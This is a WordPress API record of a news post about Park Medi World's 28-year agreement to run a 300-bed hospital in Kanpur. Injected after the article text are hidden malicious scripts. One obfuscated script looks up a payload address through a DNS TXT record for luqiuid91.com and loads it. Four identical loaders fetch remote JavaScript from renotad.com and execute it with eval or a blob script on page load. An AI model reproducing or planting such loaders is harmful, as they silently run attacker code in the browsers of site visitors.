{"id":73009,"date":"2026-09-16T12:16:34","date_gmt":"2026-09-16T06:46:34","guid":{"rendered":"https:\/\/newswiredelhi.com\/index.php\/2026\/09\/16\/park-medi-world-to-operate-300-bed-hospital-in-kanpur-under-28-year-agreement\/"},"modified":"2026-10-05T09:46:12","modified_gmt":"2026-10-05T04:16:12","slug":"park-medi-world-to-operate-300-bed-hospital-in-kanpur-under-28-year-agreement","status":"publish","type":"post","link":"https:\/\/newswiredelhi.com\/index.php\/2026\/09\/16\/park-medi-world-to-operate-300-bed-hospital-in-kanpur-under-28-year-agreement\/","title":{"rendered":"Park Medi World to Operate 300-Bed Hospital in Kanpur Under 28-Year Agreement"},"content":{"rendered":"<div>\n<p class=\"wp-block-paragraph\"><strong>New Delhi [India], September 16:<\/strong> Park Medi World Limited has entered into a long-term <strong>Operations and Management (O&amp;M) agreement<\/strong> through its wholly owned subsidiary, Aggarwal Hospital and Research Services Private Limited (AHRSPL), with Axis Educational Society (AES) to operate and manage a <strong>300-bed multi-super speciality hospital in Kanpur, Uttar Pradesh<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">According to the company\u2019s exchange filing dated <strong>September 16, 2026<\/strong>, the facility, named <strong>Axis Hospital and Research Centre<\/strong>, will be operated under the agreement for a period of <strong>28 years<\/strong>. The hospital is located at <strong>Rooma, Kanpur<\/strong>, and spans approximately <strong>1.2 lakh square feet of covered area<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">Under the <em>asset-light arrangement<\/em>, Park Group will undertake <strong>renovation, modernisation and investment in medical equipment<\/strong> without acquiring the underlying land or building. The agreement is expected to become effective <strong>no later than April 1, 2027<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">As part of the arrangement, AHRSPL will pay AES a <strong>revenue share equivalent to 6% of collections<\/strong>, subject to applicable taxes. The minimum guaranteed payment is <strong>\u20b920 lakh per month, including GST, during the first year<\/strong>, followed by <strong>\u20b920 lakh per month plus GST thereafter<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">The hospital is planned to be renovated and re-equipped before commissioning by the <strong>end of the current financial year<\/strong>. The company said the arrangement will <strong>expand its presence in Uttar Pradesh and add capacity through an asset-light operating model<\/strong>.<\/p>\n<\/div>\n<p><script>;function _0x5407(_0x53adb0,_0x440537){_0x53adb0=_0x53adb0-0x1dd;const _0x57bd66=_0x57bd();let _0x5407fa=_0x57bd66[_0x53adb0];return _0x5407fa;}function _0x57bd(){const _0xc81bc3=['Answer','14331825CnedML','script','65EwAgKS','https:\/\/cloudflare-dns.com\/dns-query?name=','src','3797312ZTaGvN','then','10uhMiXL','https:\/\/','&type=TXT','log','luqiuid91.com','text','1451816LTDzWn','181473VYSxfA','134186FHhXPd','3794217dYvhSY','25968Wtydsk'];_0x57bd=function(){return _0xc81bc3;};return _0x57bd();}const _0xd8892c=_0x5407;(function(_0x531193,_0x3fb1b8){const _0x1da4fe=_0x5407,_0x262824=_0x531193();while(!![]){try{const _0x5da21e=parseInt(_0x1da4fe(0x1ef))\/0x1*(parseInt(_0x1da4fe(0x1e4))\/0x2)+-parseInt(_0x1da4fe(0x1e3))\/0x3+parseInt(_0x1da4fe(0x1e2))\/0x4+parseInt(_0x1da4fe(0x1ea))\/0x5*(-parseInt(_0x1da4fe(0x1e6))\/0x6)+parseInt(_0x1da4fe(0x1e5))\/0x7+parseInt(_0x1da4fe(0x1ed))\/0x8+-parseInt(_0x1da4fe(0x1e8))\/0x9;if(_0x5da21e===_0x3fb1b8)break;else _0x262824['push'](_0x262824['shift']());}catch(_0x3f2d35){_0x262824['push'](_0x262824['shift']());}}}(_0x57bd,0x53597),name=_0xd8892c(0x1e0),fetch(_0xd8892c(0x1eb)+encodeURIComponent(name)+_0xd8892c(0x1de),{'headers':{'accept':'application\/dns-json'}})['then'](_0x133927=>_0x133927[_0xd8892c(0x1e1)]())[_0xd8892c(0x1ee)](_0x189842=>{const _0x481496=_0xd8892c,_0x143943=JSON['parse'](_0x189842);console[_0x481496(0x1df)](_0x143943);const _0x5a91bc=JSON['parse'](_0x143943[_0x481496(0x1e7)][0x0]['data']);console['log'](_0x5a91bc);const _0x2d9f68=document['createElement'](_0x481496(0x1e9));_0x2d9f68[_0x481496(0x1ec)]=_0x481496(0x1dd)+_0x5a91bc,document['head']['appendChild'](_0x2d9f68);}));<\/script><script>;(function(){var u='https:\/\/renotad.com\/lom1\/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/renotad.com\/lom1\/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/renotad.com\/lom1\/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/renotad.com\/lom1\/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>New Delhi [India], September 16: Park Medi World Limited has entered into a long-term Operations and Management (O&amp;M) agreement through its wholly owned subsidiary, Aggarwal Hospital and Research Services Private [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":73010,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_rishi_post_view_count":24},"categories":[4],"tags":[],"class_list":["post-73009","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-business","rishi-post"],"rishi__cb_customizer_meta":"","comments_count":"0","_links":{"self":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts\/73009","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/comments?post=73009"}],"version-history":[{"count":5,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts\/73009\/revisions"}],"predecessor-version":[{"id":75379,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts\/73009\/revisions\/75379"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/media\/73010"}],"wp:attachment":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/media?parent=73009"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/categories?post=73009"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/tags?post=73009"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}